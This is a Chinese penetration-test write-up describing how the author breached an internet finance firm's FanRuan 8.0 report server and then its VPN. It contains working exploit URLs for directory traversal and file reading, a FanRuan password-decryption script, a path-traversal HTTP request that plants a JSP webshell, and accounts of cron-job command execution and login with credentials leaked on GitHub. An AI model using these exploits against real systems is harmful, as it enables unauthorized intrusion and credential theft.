接到一个hvv前的渗透测试项目，一家互联网金融，今年是第二年给他们家做测试，项目完成后，复盘时觉得还是有一些东西是可以记录一下的。

项目总体情况

该厂家资产较多，前期搜集到的资产大概有100多个，大部分为Springboot开发，有阿里云waf，部分为nodejs+vue的。而且去年已经挖过一次，找到的洞全部已经修复了，所以今年在打的话就比较吃力了。今年的挖掘重点在于去年没找到的资产，但是一顿猛如虎的操作过后，只挖到一些信息泄露和越权，这显然是没法交差的。[出自:jiwo.org]
去年的挖掘重点是Springboot的站，今年就选择nodejs的站为重点来突破，虽然艰难，但最后还是找到两个突破点成功进入内网。

一、 突破点1：客服系统

首先关注的资产是客服系统，该系统运行在444端口（域名先称之为https://www.test.com:444/），采用nodejs+vue开发，有上传功能，但上传后的文件直接传到的阿里云的oss上，xss去年挖过了，也已经被修复了，扫描端口，发现开了80、443、444，不过全部指向该客服系统，由于目标nodejs的站比较少，无奈只能死磕这个站了。

0x01 差点错过的切入点

死磕的过程中紧紧盯着搜集到的信息，发现有一个细节就是浏览器选项卡里的logo变了，原本是厂家的logo，现在竟然变成了别的logo，这个细节让我感觉这个站点下面还有别的站点。
原本的logo信息如下：（原谅我找了个网图，因为一看logo就可能会暴露厂商信息）

扫描完目录后的logo如下：

百度后发现这是个帆软的报表系统的logo，怀疑是在某个二级目录下部署的，于是开始了漫长的目录扫描，发现除了是客服系统的目录外，并没有其他的收获，但是logo的变化，让我确信该站点存在其他系统，并且在信息搜集的时候意外访问过，才会导致logo的变化。

0x02 峰回路转

现在整理下思路，确定有个帆软的报表系统，那么就针对性的对帆软的目录结构进行爆破，这里我先是在本地搭建了一个帆软的系统，发现访问的url连接为

http://localhost:8075/WebReport/ReportServer?op=fs

默认是运行在/WebReport/的目录下，我们直接访问这个目录却提示404，这也是前期扫描器没扫出来的原因，404的问题后面也会提到。

无奈在本地系统里把帆软的目录及访问首页的连接全部做成字典，挨个进行尝试，最后发现访问https://www.test.com:444//WebReport/ReportServer的时候出现了帆软的界面。。

0x03 漏洞组合拿权限

既然已经找到了目录，并且判断出版本为8.0
这个版本是存在漏洞的，尝试了一下公开的漏洞

目录遍历

https://www.test.com:444/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../..&currentUserName=admin&currentUserId=1&isWebReport=true

任意文件读取：

https://www.test.com:444/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml

成功读到了加密后的账号密码

# -*- coding: utf-8 -*-
cipher = 'xxx' 
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] 
Password = ""
cipher = cipher[3:] 
for i in range(int(len(cipher) / 4)):
    c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
    c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
    Password = Password + chr(c2)
print (Password)

然后利用脚本解密出来账号密码，一切顺利进入后台，然后就是插件处上传插件，上传后的插件默认在/WEB-INF/目录下，需要把文件移出来，这里参考了ADog大神的文章（http://foreversong.cn/archives/1378） 然后用如下数据包进行脚本移动

POST /WebReport/ReportServer?op=fr_server&cmd=manual_backup HTTP/1.1
Host: www.test.com:444
Content-Length: 106
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8
Cookie: xxx
Connection: close

optype=edit_backup&oldname=../../plugins/plugin-com.fr.plugin.external&newname=../../../data.jsp&serverID=

然后开开心心去访问shell，却发现是404，操作步骤是本地测试过的，没有问题，用前面的列目录去查看，发现shell确实移动到了/WebReport/目录下，直接访问https://www.test.com:444/WebReport/data.jsp 还是404，尝试该目录下的一些静态文件，也全部404，猜测是只映射了http://www.test.com:444/WebReport/ReportServer这一个链接出来。

0x04 一波三折实现命令执行

冷静下来，总结一下，我们现在有了列目录漏洞、读文件漏洞、移动文件的权限，那么开始尝试直接写计划任务反弹shell就好了，先通过列目录漏洞找到计划任务目录查看是否存在已有的计划任务，然后把弹shell的脚本替换到现有计划任务里，实现了命令执行。等了好久却没收到shell，又是一次沉重的打击，用计划任务的命令执行写个文件看看，发现确实可以写进去，那么只能说明目标不出网或者命令被拦截了。。但依然实现了命令执行，也算是个高危报告了，系统暂时告一段落。

二、github源码泄露

虽然拿到了命令执行，但目标还是要进内网的，无奈翻看系统内的文件，然后在系统内某个目录的文件里发现了一个并不在测试列表里的域名，在github搜索目标域名，发现了一个仓库，里面的源码最近一次修改时6年前，且信息搜集的时候并没有发现这个系统，怀疑该系统已经下线，例行公事的去翻翻配置文件，发现了配置文件里有个泄露的邮箱，但毕竟6年了，也没抱太大希望去尝试了一下，竟然登录进去了。。

163的企业邮箱

在这个邮箱里发现了用户重置vpn密码的邮件，然后通过vpn顺利进入内网。。

三、总结

此次打点过程比较艰难，用了大概三天的时间，发现帆软的系统对于这次项目来说是个绝对性的突破点，主要还是要细心，如果没注意到浏览器选项卡的logo变化，可能就错过这个漏洞了。